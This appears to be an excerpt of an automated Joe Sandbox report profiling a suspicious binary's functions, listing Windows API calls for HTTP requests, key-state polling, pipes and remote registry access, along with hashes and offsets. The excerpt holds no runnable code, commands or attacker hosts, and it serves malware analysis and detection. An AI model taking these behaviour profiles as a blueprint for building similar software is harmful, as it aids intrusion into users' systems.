                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: BuffCharLower_memmove
                                          • String ID: cdecl$none$stdcall$winapi
                                          • API String ID: 3425801089-567219261
                                          • Opcode ID: 388b1b0618045909f61b451d425f1097c6253aa218e8de05546739a56cdaf735
                                          • Instruction ID: d10da4ca0a63999ba74da6eda1ff784106e03c76fc8ad4f3b027e2754299fd9a
                                          • Opcode Fuzzy Hash: 388b1b0618045909f61b451d425f1097c6253aa218e8de05546739a56cdaf735
                                          • Instruction Fuzzy Hash: 08318371A04615ABCF00EF54C9519EEB7F9FF04320B1086A9E8699B7D1DB71A905CB80
                                          Function 00B08E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                            • Part of subcall function 00B0AA99: GetClassNameW.USER32(?,?,000000FF), ref: 00B0AABC
                                          • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00B08F14
                                          • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00B08F27
                                          • SendMessageW.USER32(?,00000189,?,00000000), ref: 00B08F57
                                            • Part of subcall function 00AB7BCC: _memmove.LIBCMT ref: 00AB7C06
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$_memmove$ClassName
                                          • String ID: ComboBox$ListBox
                                          • API String ID: 365058703-1403004172
                                          • Opcode ID: 0bed9970577be903424d9b03fbd20464f3927d9021f4f1ed476143c64e0a2306
                                          • Instruction ID: 5eb1013887a35141053d319b9a009e36502986b6b6a5a5f28a0b2390f83972dc
                                          • Opcode Fuzzy Hash: 0bed9970577be903424d9b03fbd20464f3927d9021f4f1ed476143c64e0a2306
                                          • Instruction Fuzzy Hash: A1214371A00106BEDB14ABB0DC86DFFBBA9DF41360F144969F461972E1CF384D09DA10
                                          Function 00B2182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00B2184C
                                          • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B21872
                                          • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00B218A2
                                          • InternetCloseHandle.WININET(00000000), ref: 00B218E9
                                            • Part of subcall function 00B22483: GetLastError.KERNEL32(?,?,00B21817,00000000,00000000,00000001), ref: 00B22498
                                            • Part of subcall function 00B22483: SetEvent.KERNEL32(?,?,00B21817,00000000,00000000,00000001), ref: 00B224AD
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                          • String ID:
                                          • API String ID: 3113390036-3916222277
                                          • Opcode ID: c444dfcd463b185c6b825735e28777c9ea0af5025fcdd7b85aa89c4819bee330
                                          • Instruction ID: 9407f25a57ccd209daed5a81ffda53c2880f39788d478e761e687612e68fe96b
                                          • Opcode Fuzzy Hash: c444dfcd463b185c6b825735e28777c9ea0af5025fcdd7b85aa89c4819bee330
                                          • Instruction Fuzzy Hash: 3C21DEB1500318BFEB119B68ECC5EBF77ECEB59744F10456AF809EB240EA219D0597B1
                                          Function 00B363E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00AB1D73
                                            • Part of subcall function 00AB1D35: GetStockObject.GDI32(00000011), ref: 00AB1D87
                                            • Part of subcall function 00AB1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00AB1D91
                                          • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00B36461
                                          • LoadLibraryW.KERNEL32(?), ref: 00B36468
                                          • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00B3647D
                                          • DestroyWindow.USER32(?), ref: 00B36485
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
                                          • String ID: SysAnimate32
                                          • API String ID: 4146253029-1011021900
                                          • Opcode ID: 3627582f9856f0a4ab78e64cbc19ee86b893c93f63c658754244271cc6ff274a
                                          • Instruction ID: 037e8a08d9ad08a0ae03fe0248a01b9538d78c47d42a6f62dd1f95304cef832f
                                          • Opcode Fuzzy Hash: 3627582f9856f0a4ab78e64cbc19ee86b893c93f63c658754244271cc6ff274a
                                          • Instruction Fuzzy Hash: 4B218B71A00205BBEF104F64EC81EBA77EDEB59324F208669FA10972A0D771DC419760
                                          Function 00B16D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetStdHandle.KERNEL32(0000000C), ref: 00B16DBC
                                          • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00B16DEF
                                          • GetStdHandle.KERNEL32(0000000C), ref: 00B16E01
                                          • CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00B16E3B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CreateHandle$FilePipe
                                          • String ID: nul
                                          • API String ID: 4209266947-2873401336
                                          • Opcode ID: 222c379cfbb7b0fa6e8dcc5608d7658b57cb69f3327c490034b3ff44b1f26da3
                                          • Instruction ID: 3db6a456eb190de90fac6797ab3d05bf226f49d915bd28a861e43c6f33050b11
                                          • Opcode Fuzzy Hash: 222c379cfbb7b0fa6e8dcc5608d7658b57cb69f3327c490034b3ff44b1f26da3
                                          • Instruction Fuzzy Hash: 0921A47560020AABDB209F29EC45AEE7BF4EF54720F6046A9FCA0D72D0DB709994CB50
                                          Function 00B16E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetStdHandle.KERNEL32(000000F6), ref: 00B16E89
                                          • CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00B16EBB
                                          • GetStdHandle.KERNEL32(000000F6), ref: 00B16ECC
                                          • CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00B16F06
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CreateHandle$FilePipe
                                          • String ID: nul
                                          • API String ID: 4209266947-2873401336
                                          • Opcode ID: ed4e7a3e748eacefe6955fc24e5f794f6fd080209c9957d57994219d48b7b511
                                          • Instruction ID: 0a43f6d9d429d0b5fba1889068f9a2253c24d6015d281b6f4f761718a681cef6
                                          • Opcode Fuzzy Hash: ed4e7a3e748eacefe6955fc24e5f794f6fd080209c9957d57994219d48b7b511
                                          • Instruction Fuzzy Hash: BB21B37A500306EBDB209F69DC44AEA77E8EF55720F600B99FCA0D72D0DB70A891CB50
                                          Function 00B1AC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 00B1AC54
                                          • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00B1ACA8
                                          • __swprintf.LIBCMT ref: 00B1ACC1
                                          • SetErrorMode.KERNEL32(00000000,00000001,00000000,00B3F910), ref: 00B1ACFF
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: ErrorMode$InformationVolume__swprintf
                                          • String ID: %lu
                                          • API String ID: 3164766367-685833217
                                          • Opcode ID: a834e439f7bed4d6e9369836fdbdeb83bddf47491f8a18621b11805fea8307f8
                                          • Instruction ID: 4cbb969430424f6ca149e78797a2658b1356b04c23db34187827d70207a1afa8
                                          • Opcode Fuzzy Hash: a834e439f7bed4d6e9369836fdbdeb83bddf47491f8a18621b11805fea8307f8
                                          • Instruction Fuzzy Hash: 60214431A00109AFCB10DF65DD85DEF7BF8EF49714B1040A9F505EB252DA31EA41DB61
                                          Function 00B11AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON
                                          Download Yara Rule
                                          APIs
                                          • CharUpperBuffW.USER32(?,?), ref: 00B11B19
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: BuffCharUpper
                                          • String ID: APPEND$EXISTS$KEYS$REMOVE
                                          • API String ID: 3964851224-769500911
                                          • Opcode ID: eee21630b3e757a30090c6004a07add1d42b01af73729ab09b6cccce0dfd0fd8
                                          • Instruction ID: d811453f47b1bd4100711f4d9d2717cecd52fa37742d69bfb8d565b5db011cea
                                          • Opcode Fuzzy Hash: eee21630b3e757a30090c6004a07add1d42b01af73729ab09b6cccce0dfd0fd8
                                          • Instruction Fuzzy Hash: 31115E359001098FCF00EFA8D9529FEB7F4FF25304F5449A5D816672A2EB325D06CB50
                                          Function 00B2EB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON
                                          Download Yara Rule
                                          APIs
                                          • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00B2EC07
                                          • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00B2EC37
                                          • GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00B2ED6A
                                          • CloseHandle.KERNEL32(?), ref: 00B2EDEB
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Process$CloseCountersHandleInfoMemoryOpen
                                          • String ID:
                                          • API String ID: 2364364464-0
                                          • Opcode ID: 2fdd567c0bf9d4fcfb514428aadd41036ebd76654e8f454f438a04dbc8001796
                                          • Instruction ID: 02b4390bc85bb77b8fd03dda3857ef979e8397a36f2d97ff90ac11076fb90cf0
                                          • Opcode Fuzzy Hash: 2fdd567c0bf9d4fcfb514428aadd41036ebd76654e8f454f438a04dbc8001796
                                          • Instruction Fuzzy Hash: 208180716003109FD720EF29D986F6AB7E9EF44710F14885DFAA99B292DA74EC40CB51
                                          Function 00AD541D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
                                          • String ID:
                                          • API String ID: 1559183368-0
                                          • Opcode ID: 1d92f2bce51b0a0de234b56dfad0c5d103c922ba67c2ed527f53aae8e5802bd0
                                          • Instruction ID: 94e5b5dee81e75030ce08cd218dc0ff64c6048918ad32af89cf1261e9c80849f
                                          • Opcode Fuzzy Hash: 1d92f2bce51b0a0de234b56dfad0c5d103c922ba67c2ed527f53aae8e5802bd0
                                          • Instruction Fuzzy Hash: 78518070E00B059BDB259F79E9806AE77B6AF41321F24872BF827963D0D771DE908B41
                                          Function 00B30037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                            • Part of subcall function 00B30E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B2FDAD,?,?), ref: 00B30E31
                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B300FD
                                          • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B3013C
                                          • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00B30183
                                          • RegCloseKey.ADVAPI32(?,?), ref: 00B301AF
                                          • RegCloseKey.ADVAPI32(00000000), ref: 00B301BC
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
                                          • String ID:
                                          • API String ID: 3440857362-0
                                          • Opcode ID: 20e4bee8bf361eab5777eef65f2a10f0b4019102f1c72e9d7bad58735a846857
                                          • Instruction ID: a6c9d052bd463de0335c20cceed4e9cb901b130fcc6992919fad4948d13fbce7
                                          • Opcode Fuzzy Hash: 20e4bee8bf361eab5777eef65f2a10f0b4019102f1c72e9d7bad58735a846857
                                          • Instruction Fuzzy Hash: 5F517731218205AFC718EF68C991FAEB7E8FF84304F10896DF585972A2DB31E904CB52
                                          Function 00B2D8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00AB9837: __itow.LIBCMT ref: 00AB9862
                                            • Part of subcall function 00AB9837: __swprintf.LIBCMT ref: 00AB98AC
                                          • LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00B2D927
                                          • GetProcAddress.KERNEL32(00000000,?), ref: 00B2D9AA
                                          • GetProcAddress.KERNEL32(00000000,00000000), ref: 00B2D9C6
                                          • GetProcAddress.KERNEL32(00000000,?), ref: 00B2DA07
                                          • FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00B2DA21
                                            • Part of subcall function 00AB5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00B17896,?,?,00000000), ref: 00AB5A2C
                                            • Part of subcall function 00AB5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00B17896,?,?,00000000,?,?), ref: 00AB5A50
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
                                          • String ID:
                                          • API String ID: 327935632-0
                                          • Opcode ID: 4f716b57d2b98a5d8f1d3745fdd9e39eb177169face16e9301cc45c023931b3e
                                          • Instruction ID: 14ae2b779d561491430d4e8b34070a9240c7daad3caed5135e3f9fbeaf450ac8
                                          • Opcode Fuzzy Hash: 4f716b57d2b98a5d8f1d3745fdd9e39eb177169face16e9301cc45c023931b3e
                                          • Instruction Fuzzy Hash: F5512935A04619DFCB00EFA8D5849ADB7F8FF09310B1480A9E959AB322DB31ED45CF91
                                          Function 00B1E571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00B1E61F
                                          • GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00B1E648
                                          • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00B1E687
                                            • Part of subcall function 00AB9837: __itow.LIBCMT ref: 00AB9862
                                            • Part of subcall function 00AB9837: __swprintf.LIBCMT ref: 00AB98AC
                                          • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00B1E6AC
                                          • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00B1E6B4
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
                                          • String ID:
                                          • API String ID: 1389676194-0
                                          • Opcode ID: 0a5f51ba8247b74e15feaed51e91655b289d1291088d32fac8c71c2e664f7388
                                          • Instruction ID: 4ca8ea7b03eaa93e677286b12dda226353aa19c85706e1d9bc75f7659c2ac833
                                          • Opcode Fuzzy Hash: 0a5f51ba8247b74e15feaed51e91655b289d1291088d32fac8c71c2e664f7388
                                          • Instruction Fuzzy Hash: 2B51D835A00105DFCB01EFA4C985AAEBBF9FF09314B1480A9F959AB362CB31ED51DB50
                                          Function 00B3A056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 58ac40d55e1ea59a3caf28376015681f68495c0c037184b590f126e02006f7bc
                                          • Instruction ID: 94ae04bc82a75ebd959936d8ff0652879ab76711675120d78d6d88b6890bc3f6
                                          • Opcode Fuzzy Hash: 58ac40d55e1ea59a3caf28376015681f68495c0c037184b590f126e02006f7bc
                                          • Instruction Fuzzy Hash: ED41D735D04504AFD724DF28CC89FA9BBE8EB0A310F3501A5F995B72E1CB70AD41DA51
                                          Function 00AB2344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCursorPos.USER32(?), ref: 00AB2357
                                          • ScreenToClient.USER32(00B757B0,?), ref: 00AB2374
                                          • GetAsyncKeyState.USER32(00000001), ref: 00AB2399
                                          • GetAsyncKeyState.USER32(00000002), ref: 00AB23A7
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: AsyncState$ClientCursorScreen
                                          • String ID:
                                          • API String ID: 4210589936-0
                                          • Opcode ID: 75755c40ebc1a80d1776f898ed85bbc74f47248f4ad97e118c3b8c5d4af59ba7
                                          • Instruction ID: 3e1f94fe0d7937bf59a811e4c53b780d7eefd15c4508b4f8a102f0e8f5d17d08
                                          • Opcode Fuzzy Hash: 75755c40ebc1a80d1776f898ed85bbc74f47248f4ad97e118c3b8c5d4af59ba7
                                          • Instruction Fuzzy Hash: CA418335504105FBDF159F69CC44BEDBBB4FB05360F204356F829961A1CB349D50DBA0
                                          Function 00B063AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B063E7
                                          • TranslateAcceleratorW.USER32(?,?,?), ref: 00B06433
                                          • TranslateMessage.USER32(?), ref: 00B0645C
                                          • DispatchMessageW.USER32(?), ref: 00B06466
                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B06475
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
